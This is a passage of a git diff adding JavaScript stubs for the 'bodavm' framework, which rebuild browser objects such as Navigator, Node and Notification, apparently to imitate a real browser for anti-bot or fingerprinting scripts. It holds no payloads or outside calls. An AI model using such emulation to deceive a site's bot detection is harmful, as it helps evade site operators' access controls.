set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "wakeLock", {configurable:true, enumerable:true, get:function wakeLock (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "wakeLock_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "deviceMemory", {configurable:true, enumerable:true, get:function deviceMemory (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "deviceMemory_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "ink", {configurable:true, enumerable:true, get:function ink (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "ink_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "hid", {configurable:true, enumerable:true, get:function hid (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "hid_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "locks", {configurable:true, enumerable:true, get:function locks (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "locks_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "mediaCapabilities", {configurable:true, enumerable:true, get:function mediaCapabilities (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "mediaCapabilities_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "mediaSession", {configurable:true, enumerable:true, get:function mediaSession (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "mediaSession_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "permissions", {configurable:true, enumerable:true, get:function permissions (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "permissions_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "presentation", {configurable:true, enumerable:true, get:function presentation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "presentation_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "serial", {configurable:true, enumerable:true, get:function serial (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "serial_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "virtualKeyboard", {configurable:true, enumerable:true, get:function virtualKeyboard (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "virtualKeyboard_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "usb", {configurable:true, enumerable:true, get:function usb (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "usb_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "xr", {configurable:true, enumerable:true, get:function xr (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "xr_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "userAgentData", {configurable:true, enumerable:true, get:function userAgentData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "userAgentData_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "canShare", {configurable:true, enumerable:true, writable:true, value:function canShare (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "canShare", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "share", {configurable:true, enumerable:true, writable:true, value:function share (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "share", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "clearAppBadge", {configurable:true, enumerable:true, writable:true, value:function clearAppBadge (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "clearAppBadge", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "setAppBadge", {configurable:true, enumerable:true, writable:true, value:function setAppBadge (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "setAppBadge", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "getInstalledRelatedApps", {configurable:true, enumerable:true, writable:true, value:function getInstalledRelatedApps (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "getInstalledRelatedApps", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "getUserMedia", {configurable:true, enumerable:true, writable:true, value:function getUserMedia (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "getUserMedia", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "requestMIDIAccess", {configurable:true, enumerable:true, writable:true, value:function requestMIDIAccess (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "requestMIDIAccess", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "requestMediaKeySystemAccess", {configurable:true, enumerable:true, writable:true, value:function requestMediaKeySystemAccess (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "requestMediaKeySystemAccess", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "webkitGetUserMedia", {configurable:true, enumerable:true, writable:true, value:function webkitGetUserMedia (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "webkitGetUserMedia", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "registerProtocolHandler", {configurable:true, enumerable:true, writable:true, value:function registerProtocolHandler (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "registerProtocolHandler", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Navigator', "unregisterProtocolHandler", {configurable:true, enumerable:true, writable:true, value:function unregisterProtocolHandler (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "unregisterProtocolHandler", arguments)}},'prototype'); + + +// navigator对象 +bodavm.memory.globalobj[ 'navigator'] = {} +bodavm.memory.globalobj[ 'navigator'].__proto__=bodavm.memory.globalobj['Navigator'].prototype; +// clientInformation对象 +bodavm.memory.globalobj[ 'clientInformation'] = {} +bodavm.memory.globalobj[ 'clientInformation'] .__proto__=bodavm.memory.globalobj['Navigator'].prototype; + + diff --git a/env_xbb_lastest_jsdom/env copy/NetworkInformation.js b/env_xbb_lastest_jsdom/env copy/NetworkInformation.js new file mode 100644 index 00000000..93e30cbe --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/NetworkInformation.js @@ -0,0 +1,10 @@ +// NetworkInformation对象 +bodavm.memory.globalobj['NetworkInformation'] = function NetworkInformation(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['NetworkInformation'], "NetworkInformation"); +bodavm.memory.globalobj['NetworkInformation'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['NetworkInformation'].__proto__=bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('NetworkInformation', "onchange", {configurable:true, enumerable:true, get:function onchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NetworkInformation'].prototype, "NetworkInformation", "onchange_get", arguments)}, set:function onchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NetworkInformation'].prototype, "NetworkInformation", "onchange_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('NetworkInformation', "effectiveType", {configurable:true, enumerable:true, get:function effectiveType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NetworkInformation'].prototype, "NetworkInformation", "effectiveType_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('NetworkInformation', "rtt", {configurable:true, enumerable:true, get:function rtt (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NetworkInformation'].prototype, "NetworkInformation", "rtt_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('NetworkInformation', "downlink", {configurable:true, enumerable:true, get:function downlink (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NetworkInformation'].prototype, "NetworkInformation", "downlink_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('NetworkInformation', "saveData", {configurable:true, enumerable:true, get:function saveData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NetworkInformation'].prototype, "NetworkInformation", "saveData_get", arguments)}, set:undefined},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/Node.js b/env_xbb_lastest_jsdom/env copy/Node.js new file mode 100644 index 00000000..9a010719 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/Node.js @@ -0,0 +1,70 @@ +// Node对象 +bodavm.memory.globalobj['Node'] = function Node(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Node'], "Node"); +bodavm.memory.globalobj['Node'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['Node'].__proto__=bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('Node', "ELEMENT_NODE", {configurable:false, enumerable:true, writable:false, value:1}); +bodavm.toolsFunc.defineProperty('Node', "ATTRIBUTE_NODE", {configurable:false, enumerable:true, writable:false, value:2}); +bodavm.toolsFunc.defineProperty('Node', "TEXT_NODE", {configurable:false, enumerable:true, writable:false, value:3}); +bodavm.toolsFunc.defineProperty('Node', "CDATA_SECTION_NODE", {configurable:false, enumerable:true, writable:false, value:4}); +bodavm.toolsFunc.defineProperty('Node', "ENTITY_REFERENCE_NODE", {configurable:false, enumerable:true, writable:false, value:5}); +bodavm.toolsFunc.defineProperty('Node', "ENTITY_NODE", {configurable:false, enumerable:true, writable:false, value:6}); +bodavm.toolsFunc.defineProperty('Node', "PROCESSING_INSTRUCTION_NODE", {configurable:false, enumerable:true, writable:false, value:7}); +bodavm.toolsFunc.defineProperty('Node', "COMMENT_NODE", {configurable:false, enumerable:true, writable:false, value:8}); +bodavm.toolsFunc.defineProperty('Node', "DOCUMENT_NODE", {configurable:false, enumerable:true, writable:false, value:9}); +bodavm.toolsFunc.defineProperty('Node', "DOCUMENT_TYPE_NODE", {configurable:false, enumerable:true, writable:false, value:10}); +bodavm.toolsFunc.defineProperty('Node', "DOCUMENT_FRAGMENT_NODE", {configurable:false, enumerable:true, writable:false, value:11}); +bodavm.toolsFunc.defineProperty('Node', "NOTATION_NODE", {configurable:false, enumerable:true, writable:false, value:12}); +bodavm.toolsFunc.defineProperty('Node', "DOCUMENT_POSITION_DISCONNECTED", {configurable:false, enumerable:true, writable:false, value:1}); +bodavm.toolsFunc.defineProperty('Node', "DOCUMENT_POSITION_PRECEDING", {configurable:false, enumerable:true, writable:false, value:2}); +bodavm.toolsFunc.defineProperty('Node', "DOCUMENT_POSITION_FOLLOWING", {configurable:false, enumerable:true, writable:false, value:4}); +bodavm.toolsFunc.defineProperty('Node', "DOCUMENT_POSITION_CONTAINS", {configurable:false, enumerable:true, writable:false, value:8}); +bodavm.toolsFunc.defineProperty('Node', "DOCUMENT_POSITION_CONTAINED_BY", {configurable:false, enumerable:true, writable:false, value:16}); +bodavm.toolsFunc.defineProperty('Node', "DOCUMENT_POSITION_IMPLEMENTATION_SPECIFIC", {configurable:false, enumerable:true, writable:false, value:32}); +bodavm.toolsFunc.defineProperty('Node', "nodeType", {configurable:true, enumerable:true, get:function nodeType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "nodeType_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Node', "nodeName", {configurable:true, enumerable:true, get:function nodeName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "nodeName_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Node', "baseURI", {configurable:true, enumerable:true, get:function baseURI (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "baseURI_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Node', "isConnected", {configurable:true, enumerable:true, get:function isConnected (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "isConnected_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Node', "ownerDocument", {configurable:true, enumerable:true, get:function ownerDocument (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "ownerDocument_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Node', "parentNode", {configurable:true, enumerable:true, get:function parentNode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "parentNode_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Node', "parentElement", {configurable:true, enumerable:true, get:function parentElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "parentElement_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Node', "childNodes", {configurable:true, enumerable:true, get:function childNodes (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "childNodes_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Node', "firstChild", {configurable:true, enumerable:true, get:function firstChild (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "firstChild_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Node', "lastChild", {configurable:true, enumerable:true, get:function lastChild (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "lastChild_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Node', "previousSibling", {configurable:true, enumerable:true, get:function previousSibling (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "previousSibling_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Node', "nextSibling", {configurable:true, enumerable:true, get:function nextSibling (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "nextSibling_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Node', "nodeValue", {configurable:true, enumerable:true, get:function nodeValue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "nodeValue_get", arguments)}, set:function nodeValue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "nodeValue_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Node', "textContent", {configurable:true, enumerable:true, get:function textContent (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "textContent_get", arguments)}, set:function textContent (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "textContent_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Node', "ELEMENT_NODE", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); +bodavm.toolsFunc.defineProperty('Node', "ATTRIBUTE_NODE", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); +bodavm.toolsFunc.defineProperty('Node', "TEXT_NODE", {configurable:false, enumerable:true, writable:false, value:3},'prototype'); +bodavm.toolsFunc.defineProperty('Node', "CDATA_SECTION_NODE", {configurable:false, enumerable:true, writable:false, value:4},'prototype'); +bodavm.toolsFunc.defineProperty('Node', "ENTITY_REFERENCE_NODE", {configurable:false, enumerable:true, writable:false, value:5},'prototype'); +bodavm.toolsFunc.defineProperty('Node', "ENTITY_NODE", {configurable:false, enumerable:true, writable:false, value:6},'prototype'); +bodavm.toolsFunc.defineProperty('Node', "PROCESSING_INSTRUCTION_NODE", {configurable:false, enumerable:true, writable:false, value:7},'prototype'); +bodavm.toolsFunc.defineProperty('Node', "COMMENT_NODE", {configurable:false, enumerable:true, writable:false, value:8},'prototype'); +bodavm.toolsFunc.defineProperty('Node', "DOCUMENT_NODE", {configurable:false, enumerable:true, writable:false, value:9},'prototype'); +bodavm.toolsFunc.defineProperty('Node', "DOCUMENT_TYPE_NODE", {configurable:false, enumerable:true, writable:false, value:10},'prototype'); +bodavm.toolsFunc.defineProperty('Node', "DOCUMENT_FRAGMENT_NODE", {configurable:false, enumerable:true, writable:false, value:11},'prototype'); +bodavm.toolsFunc.defineProperty('Node', "NOTATION_NODE", {configurable:false, enumerable:true, writable:false, value:12},'prototype'); +bodavm.toolsFunc.defineProperty('Node', "DOCUMENT_POSITION_DISCONNECTED", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); +bodavm.toolsFunc.defineProperty('Node', "DOCUMENT_POSITION_PRECEDING", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); +bodavm.toolsFunc.defineProperty('Node', "DOCUMENT_POSITION_FOLLOWING", {configurable:false, enumerable:true, writable:false, value:4},'prototype'); +bodavm.toolsFunc.defineProperty('Node', "DOCUMENT_POSITION_CONTAINS", {configurable:false, enumerable:true, writable:false, value:8},'prototype'); +bodavm.toolsFunc.defineProperty('Node', "DOCUMENT_POSITION_CONTAINED_BY", {configurable:false, enumerable:true, writable:false, value:16},'prototype'); +bodavm.toolsFunc.defineProperty('Node', "DOCUMENT_POSITION_IMPLEMENTATION_SPECIFIC", {configurable:false, enumerable:true, writable:false, value:32},'prototype'); +bodavm.toolsFunc.defineProperty('Node', "appendChild", {configurable:true, enumerable:true, writable:true, value:function appendChild (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "appendChild", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Node', "cloneNode", {configurable:true, enumerable:true, writable:true, value:function cloneNode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "cloneNode", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Node', "compareDocumentPosition", {configurable:true, enumerable:true, writable:true, value:function compareDocumentPosition (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "compareDocumentPosition", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Node', "contains", {configurable:true, enumerable:true, writable:true, value:function contains (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "contains", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Node', "getRootNode", {configurable:true, enumerable:true, writable:true, value:function getRootNode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "getRootNode", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Node', "hasChildNodes", {configurable:true, enumerable:true, writable:true, value:function hasChildNodes (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "hasChildNodes", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Node', "insertBefore", {configurable:true, enumerable:true, writable:true, value:function insertBefore (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "insertBefore", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Node', "isDefaultNamespace", {configurable:true, enumerable:true, writable:true, value:function isDefaultNamespace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "isDefaultNamespace", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Node', "isEqualNode", {configurable:true, enumerable:true, writable:true, value:function isEqualNode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "isEqualNode", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Node', "isSameNode", {configurable:true, enumerable:true, writable:true, value:function isSameNode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "isSameNode", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Node', "lookupNamespaceURI", {configurable:true, enumerable:true, writable:true, value:function lookupNamespaceURI (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "lookupNamespaceURI", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Node', "lookupPrefix", {configurable:true, enumerable:true, writable:true, value:function lookupPrefix (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "lookupPrefix", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Node', "normalize", {configurable:true, enumerable:true, writable:true, value:function normalize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "normalize", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Node', "removeChild", {configurable:true, enumerable:true, writable:true, value:function removeChild (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "removeChild", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Node', "replaceChild", {configurable:true, enumerable:true, writable:true, value:function replaceChild (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Node'].prototype, "Node", "replaceChild", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/NodeList.js b/env_xbb_lastest_jsdom/env copy/NodeList.js new file mode 100644 index 00000000..bf0d2fc6 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/NodeList.js @@ -0,0 +1,9 @@ +// NodeList对象 +bodavm.memory.globalobj['NodeList'] = function NodeList(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['NodeList'], "NodeList"); +bodavm.toolsFunc.defineProperty('NodeList', "entries", {configurable:true, enumerable:true, writable:true, value:function entries (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NodeList'].prototype, "NodeList", "entries", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('NodeList', "keys", {configurable:true, enumerable:true, writable:true, value:function keys (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NodeList'].prototype, "NodeList", "keys", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('NodeList', "values", {configurable:true, enumerable:true, writable:true, value:function values (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NodeList'].prototype, "NodeList", "values", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('NodeList', "forEach", {configurable:true, enumerable:true, writable:true, value:function forEach (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NodeList'].prototype, "NodeList", "forEach", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('NodeList', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NodeList'].prototype, "NodeList", "length_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('NodeList', "item", {configurable:true, enumerable:true, writable:true, value:function item (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NodeList'].prototype, "NodeList", "item", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/Notification.js b/env_xbb_lastest_jsdom/env copy/Notification.js new file mode 100644 index 00000000..f1e5a82e --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/Notification.js @@ -0,0 +1,35 @@ +// Notification对象 +bodavm.memory.globalobj['Notification'] = function Notification(){ + if (!(this instanceof Notification)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'Notification': Please use the 'new' operator, this DOM object constructor cannot be called as a function") + }; + if (arguments.length <1){ + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'Notification': 1 argument required, but only 0 present.")} + + } +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Notification'], "Notification"); +bodavm.memory.globalobj['Notification'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['Notification'].__proto__=bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('Notification', "permission", {configurable:true, enumerable:true, get:function permission (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "permission_get", arguments, 'default')}, set:undefined}); +bodavm.toolsFunc.defineProperty('Notification', "maxActions", {configurable:true, enumerable:true, get:function maxActions (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "maxActions_get", arguments, 2)}, set:undefined}); +bodavm.toolsFunc.defineProperty('Notification', "requestPermission", {configurable:true, enumerable:true, writable:true, value:function requestPermission (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "requestPermission", arguments)}}); +bodavm.toolsFunc.defineProperty('Notification', "onclick", {configurable:true, enumerable:true, get:function onclick (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "onclick_get", arguments)}, set:function onclick (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "onclick_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Notification', "onshow", {configurable:true, enumerable:true, get:function onshow (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "onshow_get", arguments)}, set:function onshow (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "onshow_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Notification', "onerror", {configurable:true, enumerable:true, get:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "onerror_get", arguments)}, set:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "onerror_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Notification', "onclose", {configurable:true, enumerable:true, get:function onclose (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "onclose_get", arguments)}, set:function onclose (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "onclose_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Notification', "title", {configurable:true, enumerable:true, get:function title (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "title_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Notification', "dir", {configurable:true, enumerable:true, get:function dir (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "dir_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Notification', "lang", {configurable:true, enumerable:true, get:function lang (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "lang_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Notification', "body", {configurable:true, enumerable:true, get:function body (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "body_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Notification', "tag", {configurable:true, enumerable:true, get:function tag (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "tag_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Notification', "icon", {configurable:true, enumerable:true, get:function icon (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "icon_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Notification', "badge", {configurable:true, enumerable:true, get:function badge (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "badge_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Notification', "vibrate", {configurable:true, enumerable:true, get:function vibrate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "vibrate_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Notification', "timestamp", {configurable:true, enumerable:true, get:function timestamp (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "timestamp_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Notification', "renotify", {configurable:true, enumerable:true, get:function renotify (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "renotify_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Notification', "silent", {configurable:true, enumerable:true, get:function silent (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "silent_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Notification', "requireInteraction", {configurable:true, enumerable:true, get:function requireInteraction (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "requireInteraction_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Notification', "data", 